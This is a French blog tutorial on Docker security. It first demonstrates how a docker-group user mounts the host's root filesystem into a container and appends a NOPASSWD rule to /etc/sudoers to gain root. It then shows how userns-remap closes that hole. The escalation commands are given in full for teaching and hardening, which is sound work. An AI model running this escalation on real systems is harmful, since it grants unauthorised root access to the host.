Sécurisation du montage de volume de docker

Lecture 5 min. ‱


Table des matiĂšres

Bonjour aujourd’hui on va faire de la sĂ©curitĂ© informatique.

Docker est un outils fantastique mais peut devenir la pire des failles de sécurité.

On va dĂ©couper l’article en 2 parties:

Mise en place de l’exploit

Je vais faire ma démo sur une Ubuntu 20.04

Via l’utilisateur priviligĂ© (root ou sudo).

On installe docker

apt install docker.io

On créé un utilisateur non-priviligié, sans homedir et sans login.

adduser --no-create-home --disabled-password --disabled-login alice

On ajoute l’utilisateur alice au group docker

usermod -aG docker alice

On créé un dossier de travail

mkdir -p /opt/work

On donne l’ownership de ce dossier à alice

chown alice:alice /opt/work

On va maintenant devenir alice

su alice

On vĂ©rifie qu’on est bien alice

$ id
uid=1000(alice) gid=119(docker) groups=119(docker),1000(alice)

VĂ©rifions qu’on a 0 droit priviligiĂ©.

$ echo test >> /flag
bash: /flag: Permission denied

Bon visiblement on est pas root.

On vĂ©rifie que l’on a le droit d’utiliser docker

$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

Direction le dossier de travail

cd /opt/work

Maintenant on créé ce Dockerfile, il va nous permettre d’utiliser notre volume. J’utilise l’image ubuntu pour avoir un shell, mais on peut le faire avec toute sorte d’image de la plus simple Ă  la plus compliquĂ©e.

FROM ubuntu

ENV WORKDIR /opt/workdir

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR

Construisons notre joli cheval de Troie.

docker build -t trojan .

Maintenant on va faire un truc rigolo ( pas pour la machine cible 😋 ).

On va monter / dans notre container!

docker run -it -v /:/opt/workdir trojan bash

Et là on commence à jouer 😋

Avec le shell du container

# echo "I was here" > /opt/workdir/flag

Pas de denied! 😹

C’est pas le pire, connectez vous avec une autre session utilisateur priviligiĂ© sur le serveur hĂŽte de docker.

# cat /flag
I was here

Bon on vient d’écrire dans / depuis un container en lançant celui-ci avec un utilisateur non-privilĂ©giĂ©.

Mais il y a bien pire !! MĂȘme si on est dĂ©jĂ  game over !!!

echo "alice ALL=(ALL) NOPASSWD: ALL" >> /opt/workdir/etc/sudoers

Oui visudo c’est lĂ  pour la dĂ©coration!

On sort du container.

Puis

sudo su
# id
uid=0(root) gid=0(root) groups=0(root)

Et voilà c’est la fin des temps. Vous laissez un utilisateur runner un container et il devient root !

On sécurise

Heureusement il y a une parade à tout ça. Et ceci s’appelle le userns-remap.

L’idĂ©e de base est simple, si le container n’a pas explicitement le droit de monter un dossier de l’host on remap l’utilisateur du dossier vers un autre utilisateur.

Cela Ă  pour effet de passer en readonly le montage.

En utilisant votre session priviligiée.

Tout d’abord on dĂ©fini un fichier /etc/docker/daemon.json. S’il n’existe pas dĂ©jĂ , vous devez le crĂ©er.

{
    "userns-remap": "default"
}

Ensuite vous devez redémarrer le service docker

service docker restart

Deux fichier ont été créé/mise à jour.

# cat /etc/subuid
alice:100000:65536
dockremap:165536:65536
# cat /etc/subgid
alice:100000:65536
dockremap:165536:65536

Ce que signifie c’est fichier c’est que les uid des utilisateurs du systĂšme hĂŽte sont remappĂ© dans les containers vers des uid/gid diffĂ©rents, dans le cas prĂ©sent le 65536.

Or cette utilisateur n’aura aucun moyen de se faire passer pour le root 0 de la machine hîte et donc aucun moyen de modifier le /.

Un autre phénomÚne est apparu aussi. Un dossier de namespace a été créé.

# ls -la /var/lib/docker
...
drwx------ 14 165536 165536 4096 Mar  8 10:46 165536.165536
...

Il appartient Ă  l’utilisateur 165536. Si vous avez fait un peu de python dans votre vie, c’est l’équivalent d’un virtualenv.

Il contient une copie de la structure de /var/lib/docker.

A ceci prùs que le dossier n’appartient pas à root!

Retournons avec alice. (pensez bien Ă  la retirer des sudoers).

Si on refait un coup de

docker images

C’est vide.

On est reparti

docker build -t trojan .

On monte / de nouveau dans le container.

docker run -it -v /:/opt/workdir trojan bash

Avec le shell du container

Ah c’est Ă©trange, il y a un utilisateur nobody Ă  la place de root.

Continuons mais ça sent la poudre

# echo "I was here again" > /opt/workdir/flag
bash: /opt/workdir/flag: Permission denied

Oh beaucoup mieux !! đŸ€©

On essaie mĂȘme pas sudoers, ça passera pas. :D

On vient de combler notre faille de sécu ^^

Bonus: Monter un volume légitime en écriture

C’est bien tout ça mais si je veux monter un dossier en Ă©criture je fais comment ?

Pour le moment on ne peut pas.

Si vous créé un montage lĂ©gitime avec l’utilisateur alice

mkdir -p /opt/work/data
touch /opt/work/data/test

Que vous montez ça

$ docker run -it -v $(pwd)/data:/opt/workdir trojan ls -la
total 8
drwxrwxr-x 2 nobody nogroup 4096 Mar  8 11:13 .
drwxr-xr-x 1 root   root    4096 Mar  8 11:00 ..
-rw-rw-r-- 1 nobody nogroup    0 Mar  8 11:12 test

On a le mĂȘme soucis, on est en nobody comme owner, et donc les accĂšs en Ă©criture seront interdit.

Si vous vous rappelez des

# cat /etc/subuid
alice:100000:65536
dockremap:165536:65536
# cat /etc/subgid
alice:100000:65536
dockremap:165536:65536

Je vous avais parlé de mapping

Ben on va se créer un mapping pour notre utilisateur alice qui lui permettra de monter en écriture le volume mais sans lui permettre de monter / en écriture aussi.

Dans un shell privilégié.

username="alice"
uid=$(id -u "$username")
gid=$(id -g "$username")
lastuid=$(( uid + 65536 ))
lastgid=$(( gid + 65536 ))
usermod --add-subuids "$uid"-"$lastuid" "$username"
usermod --add-subgids "$gid"-"$lastuid" "$username"

Ces deux commandes ont pour rĂŽle de modifier ainsi les fichiers

# cat /etc/subuid
alice:1000:65537
dockremap:165536:65536
# cat /etc/subgid
alice:1000:65537
dockremap:165536:65536

On modifie ensuite le /etc/docker/daemon.json en conséquence.

{
    "userns-remap": "alice:alice"
}

On redémarre le service docker

service docker restart

Un nouveau namespace /var/lib/docker/1000.1000 se créé.

Dans le shell de alice

docker images

C’est vide de nouveau.

On est recréé l’image

docker build -t trojan .

On monte / de nouveau dans le container.

docker run -it -v /:/opt/workdir trojan bash

On tente l’écriture

# echo "I was here again" > /opt/workdir/flag
bash: /opt/workdir/flag: Permission denied

Parfait, on a pas retrouĂ© la sĂ©cu du container. 😁

On quitte le container puis

docker run -it -v $(pwd)/data:/opt/workdir trojan bash

Dans le shell du container

# ls -la
total 8
drwxrwxr-x 2 root   root    4096 Mar  8 11:13 .
drwxr-xr-x 1 root   root    4096 Mar  8 11:00 ..
-rw-rw-r-- 1 root   root    0    Mar  8 11:12 test

ça sent bon 😋

echo "I was here" > test

On quitte le container

# cat data/test
I was here

Yes đŸ„ł

Conclusion

On vient d’apprendre à combler une faille majeure de docker et du montage de volume.

Je pense bien qu’il doit encore rester des montagnes d’exploit, mais ça sera tout pour aujourd’hui :D

Vous remercie de m’avoir lu et je vous dis à la prochaine ^^

Si je raconte des conneries, n’ésitez pas Ă  me le dire en commentaires, je dĂ©bute dans la sĂ©cu đŸ˜